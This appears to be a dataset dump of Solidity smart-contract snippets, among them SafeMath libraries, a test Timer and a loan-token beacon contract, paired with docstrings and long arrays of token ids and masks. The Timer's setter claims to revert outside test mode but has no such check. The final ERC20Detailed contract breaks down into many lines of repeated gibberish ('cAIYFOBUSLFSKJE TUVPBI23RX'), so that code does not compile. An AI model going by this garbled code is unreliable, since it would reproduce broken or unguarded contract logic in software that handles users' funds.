* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SignedSafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SignedSafeMath {
/**
* @dev Returns the multiplication of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
return a * b;
}
/**
* @dev Returns the integer division of two signed integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
return a / b;
}
/**
* @dev Returns the subtraction of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
return a - b;
}
/**
* @dev Returns the addition of two signed integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
return a + b;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
/**
* @title Universal store of current contract time for testing environments.
*/
contract Timer {
uint256 private currentTime;
constructor() {
currentTime = block.timestamp; // solhint-disable-line not-rely-on-time
}
/**
* @notice Sets the current time.
* @dev Will revert if not running in test mode.
* @param time timestamp to set `currentTime` to.
*/
function setCurrentTime(uint256 time) external {
currentTime = time;
}
/**
* @notice Gets the currentTime variable set in the Timer.
* @return uint256 for the current Testable timestamp.
*/
function getCurrentTime() public view returns (uint256) {
return currentTime;
}
}
| * @notice Redeems a pair of long and short tokens equal in number to tokensToRedeem. Returns the commensurate amount of collateral to the caller for the pair of tokens, defined by the collateralPerPair value. @dev This contract must have the `Burner` role for the `longToken` and `shortToken` in order to call `burnFrom`. @dev The caller does not need to approve this contract to transfer any amount of `tokensToRedeem` since long and short tokens are burned, rather than transferred, from the caller. @param tokensToRedeem number of long and short synthetic tokens to redeem. @return collateralReturned total collateral returned in exchange for the pair of synthetics./ | function redeem(uint256 tokensToRedeem) public nonReentrant() returns (uint256 collateralReturned) {
require(longToken.burnFrom(msg.sender, tokensToRedeem));
require(shortToken.burnFrom(msg.sender, tokensToRedeem));
collateralReturned = FixedPoint.Unsigned(tokensToRedeem).mul(FixedPoint.Unsigned(collateralPerPair)).rawValue;
collateralToken.safeTransfer(msg.sender, collateralReturned);
emit TokensRedeemed(msg.sender, collateralReturned, tokensToRedeem);
}
| 148,154 | [
1,
426,
323,
7424,
279,
3082,
434,
1525,
471,
3025,
2430,
3959,
316,
1300,
358,
2430,
774,
426,
24903,
18,
2860,
326,
1543,
773,
295,
340,
3844,
434,
4508,
2045,
287,
358,
326,
4894,
364,
326,
3082,
434,
2430,
16,
2553,
635,
326,
4508,
2045,
287,
2173,
4154,
460,
18,
225,
1220,
6835,
1297,
1240,
326,
1375,
38,
321,
264,
68,
2478,
364,
326,
1375,
5748,
1345,
68,
471,
1375,
6620,
1345,
68,
316,
1353,
358,
745,
1375,
70,
321,
1265,
8338,
225,
1021,
4894,
1552,
486,
1608,
358,
6617,
537,
333,
6835,
358,
7412,
1281,
3844,
434,
1375,
7860,
774,
426,
24903,
68,
3241,
1525,
471,
3025,
2430,
854,
18305,
329,
16,
9178,
2353,
906,
4193,
16,
628,
326,
4894,
18,
225,
2430,
774,
426,
24903,
1300,
434,
1525,
471,
3025,
25535,
2430,
358,
283,
24903,
18,
327,
4508,
2045,
287,
22360,
2078,
4508,
2045,
287,
2106,
316,
2
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
| [
1,
565,
445,
283,
24903,
12,
11890,
5034,
2430,
774,
426,
24903,
13,
1071,
1661,
426,
8230,
970,
1435,
1135,
261,
11890,
5034,
4508,
2045,
287,
22360,
13,
288,
203,
3639,
2583,
12,
5748,
1345,
18,
70,
321,
1265,
12,
3576,
18,
15330,
16,
2430,
774,
426,
24903,
10019,
203,
3639,
2583,
12,
6620,
1345,
18,
70,
321,
1265,
12,
3576,
18,
15330,
16,
2430,
774,
426,
24903,
10019,
203,
203,
3639,
4508,
2045,
287,
22360,
273,
15038,
2148,
18,
13290,
12,
7860,
774,
426,
24903,
2934,
16411,
12,
7505,
2148,
18,
13290,
12,
12910,
2045,
287,
2173,
4154,
13,
2934,
1899,
620,
31,
203,
203,
3639,
4508,
2045,
287,
1345,
18,
4626,
5912,
12,
3576,
18,
15330,
16,
4508,
2045,
287,
22360,
1769,
203,
203,
3639,
3626,
13899,
426,
24903,
329,
12,
3576,
18,
15330,
16,
4508,
2045,
287,
22360,
16,
2430,
774,
426,
24903,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity 0.5.17;
pragma experimental ABIEncoderV2;
import "../../mixins/EnumerableBytes32Set.sol";
import "../../mixins/EnumerableBytes4Set.sol";
import "../../openzeppelin/PausableOz.sol";
import "../../openzeppelin/Address.sol";
/**
* @title Loan Token Logic Beacon contract.
*
* @notice This contract stored the target logic implementation of LoanTokens which has the same logic implementation (LoanTokenLogicLM / LoanTokenLogicWrbtc)
* Apart from storing the target logic implementation, this contract also has a pause functionality.
* By implementing pause/unpause functionality in this beacon contract, we can pause the loan token that has the same Logic (LoanTokenLogicLM / LoanTokenLogicWrbtc) at one call.
* Meanwhile the pause/unpause function in the LoanTokenLogicProxy is used to pause/unpause specific LoanToken
*/
contract LoanTokenLogicBeacon is PausableOz {
using EnumerableBytes32Set for EnumerableBytes32Set.Bytes32Set; // enumerable map of bytes32 or addresses
using EnumerableBytes4Set for EnumerableBytes4Set.Bytes4Set; // enumerable map of bytes4 or addresses
mapping(bytes4 => address) private logicTargets;
struct LoanTokenLogicModuleUpdate {
address implementation; // address implementaion of the module
uint256 updateTimestamp; // time of update
}
mapping(bytes32 => LoanTokenLogicModuleUpdate[]) public moduleUpgradeLog; /** the module name as the key */
mapping(bytes32 => uint256) public activeModuleIndex; /** To store the current active index log for module */
mapping(bytes32 => EnumerableBytes4Set.Bytes4Set) private activeFuncSignatureList; /** Store the current active function signature */
/**
* @dev Modifier to make a function callable only when the contract is not paused.
* This is the overriden function from the pausable contract, so that we can use custom error message.
*/
modifier whenNotPaused() {
require(!_paused, "LoanTokenLogicBeacon:paused mode");
_;
}
/**
* @notice Register the loanTokenModule (LoanTokenSettingsLowerAdmin, LoanTokenLogicLM / LoanTokenLogicWrbtc, etc)
*
* @dev This function will store the updated protocol module to the storage (For rollback purposes)
*
* @param loanTokenModuleAddress The module target address
*/
function registerLoanTokenModule(address loanTokenModuleAddress) external onlyOwner {
bytes32 moduleName = _registerLoanTokenModule(loanTokenModuleAddress);
// Store the upgrade to the log
moduleUpgradeLog[moduleName].push(
LoanTokenLogicModuleUpdate(loanTokenModuleAddress, block.timestamp)
);
activeModuleIndex[moduleName] = moduleUpgradeLog[moduleName].length - 1;
}
/**
* @notice Register the loanTokenModule (LoanTokenSettingsLowerAdmin, LoanTokenLogicLM / LoanTokenLogicWrbtc, etc)
*
* @dev This registration will require target contract to have the exact function getListFunctionSignatures() which will return functionSignatureList and the moduleName in bytes32
*
* @param loanTokenModuleAddress the target logic of the loan token module
*
* @return the module name
*/
function _registerLoanTokenModule(address loanTokenModuleAddress) private returns (bytes32) {
require(
Address.isContract(loanTokenModuleAddress),
"LoanTokenModuleAddress is not a contract"
);
// Get the list of function signature on this loanTokenModulesAddress
(bytes4[] memory functionSignatureList, bytes32 moduleName) =
ILoanTokenLogicModules(loanTokenModuleAddress).getListFunctionSignatures();
/// register / update the module function signature address implementation
for (uint256 i; i < functionSignatureList.length; i++) {
require(functionSignatureList[i] != bytes4(0x0), "ERR_EMPTY_FUNC_SIGNATURE");
logicTargets[functionSignatureList[i]] = loanTokenModuleAddress;
if (!activeFuncSignatureList[moduleName].contains(functionSignatureList[i]))
activeFuncSignatureList[moduleName].addBytes4(functionSignatureList[i]);
}
/// delete the "removed" module function signature in the current implementation
bytes4[] memory activeSignatureListEnum =
activeFuncSignatureList[moduleName].enumerate(
0,
activeFuncSignatureList[moduleName].length()
);
for (uint256 i; i < activeSignatureListEnum.length; i++) {
bytes4 activeSigBytes = activeSignatureListEnum[i];
if (logicTargets[activeSigBytes] != loanTokenModuleAddress) {
logicTargets[activeSigBytes] = address(0);
activeFuncSignatureList[moduleName].removeBytes4(activeSigBytes);
}
}
return moduleName;
}
/**
* @dev get all active function signature list based on the module name.
*
* @param moduleName in bytes32.
*
* @return the array of function signature.
*/
function getActiveFuncSignatureList(bytes32 moduleName)
public
view
returns (bytes4[] memory signatureList)
{
signatureList = activeFuncSignatureList[moduleName].enumerate(
0,
activeFuncSignatureList[moduleName].length()
);
return signatureList;
}
/**
* @dev Get total length of the module upgrade log.
*
* @param moduleName in bytes32.
*
* @return length of module upgrade log.
*/
function getModuleUpgradeLogLength(bytes32 moduleName) external view returns (uint256) {
return moduleUpgradeLog[moduleName].length;
}
/**
* @notice This function will rollback particular module to the spesific index / version of deployment
*
* @param moduleName Name of module in bytes32 format
* @param index index / version of previous deployment
*/
function rollback(bytes32 moduleName, uint256 index) external onlyOwner {
address loanTokenModuleAddress = moduleUpgradeLog[moduleName][index].implementation;
moduleName = _registerLoanTokenModule(loanTokenModuleAddress);
activeModuleIndex[moduleName] = index;
}
/**
* @notice External getter for target addresses.
* @param sig The signature.
* @return The address for a given signature.
* */
function getTarget(bytes4 sig) external view whenNotPaused returns (address) {
return logicTargets[sig];
}
}
interface ILoanTokenLogicModules {
function getListFunctionSignatures()
external
pure
returns (bytes4[] memory, bytes32 moduleName);
}
| * @notice This function will rollback particular module to the spesific index / version of deployment @param moduleName Name of module in bytes32 format @param index index / version of previous deployment/ | function rollback(bytes32 moduleName, uint256 index) external onlyOwner {
address loanTokenModuleAddress = moduleUpgradeLog[moduleName][index].implementation;
moduleName = _registerLoanTokenModule(loanTokenModuleAddress);
activeModuleIndex[moduleName] = index;
}
| 1,067,487 | [
1,
2503,
445,
903,
8006,
6826,
1605,
358,
326,
1694,
281,
1507,
770,
342,
1177,
434,
6314,
225,
9780,
1770,
434,
1605,
316,
1731,
1578,
740,
225,
770,
770,
342,
1177,
434,
2416,
6314,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
8006,
12,
3890,
1578,
9780,
16,
2254,
5034,
770,
13,
3903,
1338,
5541,
288,
203,
3639,
1758,
28183,
1345,
3120,
1887,
273,
1605,
10784,
1343,
63,
2978,
461,
6362,
1615,
8009,
30810,
31,
203,
3639,
9780,
273,
389,
4861,
1504,
304,
1345,
3120,
12,
383,
304,
1345,
3120,
1887,
1769,
203,
3639,
2695,
3120,
1016,
63,
2978,
461,
65,
273,
770,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/42/0xbD04Dc022310Ced77ca117eC6b0F4383b231582B/sources/UberHausMinion.sol | No calls to zero address allows us to check that proxy submitted the proposal without getting the proposal struct from parent moloch | function nominateDelegate(
address nominee,
uint256 retireTime,
string calldata details
) external memberOnly returns (uint256) {
require(targetDao != address(0), "invalid actionTo");
uint256 proposalId = IMOLOCH(moloch).submitProposal(
address(this),
0,
0,
0,
0,
HAUS,
details
);
Appointment memory appointment = Appointment({
dao: targetDao,
nominee: nominee,
retireTime: retireTime,
proposer: msg.sender,
executed: false
});
appointments[proposalId] = appointment;
emit ProposeAppointment(proposalId, msg.sender, nominee, retireTime);
return proposalId;
}
| 3,314,897 | [
1,
2279,
4097,
358,
3634,
1758,
5360,
584,
358,
866,
716,
2889,
9638,
326,
14708,
2887,
8742,
326,
14708,
1958,
628,
982,
12629,
9842,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
12457,
3322,
9586,
12,
203,
3639,
1758,
12457,
558,
73,
16,
203,
3639,
2254,
5034,
325,
577,
950,
16,
203,
3639,
533,
745,
892,
3189,
203,
565,
262,
3903,
3140,
3386,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2583,
12,
3299,
11412,
480,
1758,
12,
20,
3631,
315,
5387,
1301,
774,
8863,
203,
203,
3639,
2254,
5034,
14708,
548,
273,
467,
5980,
1502,
1792,
12,
21260,
9842,
2934,
9297,
14592,
12,
203,
5411,
1758,
12,
2211,
3631,
203,
5411,
374,
16,
203,
5411,
374,
16,
203,
5411,
374,
16,
203,
5411,
374,
16,
203,
5411,
21926,
3378,
16,
203,
5411,
3189,
203,
3639,
11272,
203,
203,
3639,
1716,
29815,
3778,
595,
763,
475,
273,
1716,
29815,
12590,
203,
5411,
15229,
30,
1018,
11412,
16,
203,
5411,
12457,
558,
73,
30,
12457,
558,
73,
16,
203,
5411,
325,
577,
950,
30,
325,
577,
950,
16,
203,
5411,
450,
5607,
30,
1234,
18,
15330,
16,
203,
5411,
7120,
30,
629,
203,
3639,
15549,
203,
203,
3639,
595,
763,
1346,
63,
685,
8016,
548,
65,
273,
595,
763,
475,
31,
203,
203,
3639,
3626,
1186,
4150,
1294,
29815,
12,
685,
8016,
548,
16,
1234,
18,
15330,
16,
12457,
558,
73,
16,
325,
577,
950,
1769,
203,
3639,
327,
14708,
548,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x32D48A96fA5552998F524EC72f31D732B66b4f9E/sources/contracts/v2/accounts/test/implementation_default.v2.test.sol | * @dev Check for Auth if enabled. @param user address/user/owner./ | function isAuth(address user) public view returns (bool) {
return auth[user];
}
| 17,082,231 | [
1,
1564,
364,
3123,
309,
3696,
18,
225,
729,
1758,
19,
1355,
19,
8443,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
353,
1730,
12,
2867,
729,
13,
1071,
1476,
1135,
261,
6430,
13,
288,
203,
3639,
327,
1357,
63,
1355,
15533,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0x28A693AE85d2696FB6608a016089720c272e19fD/sources/Flux.sol | * @dev Optional functions from the ERC20 standard./ | contract ERC20Detailed is Initializable, IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
function initialize(string memory name, string memory symbol, uint8 decimals) public initializer {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
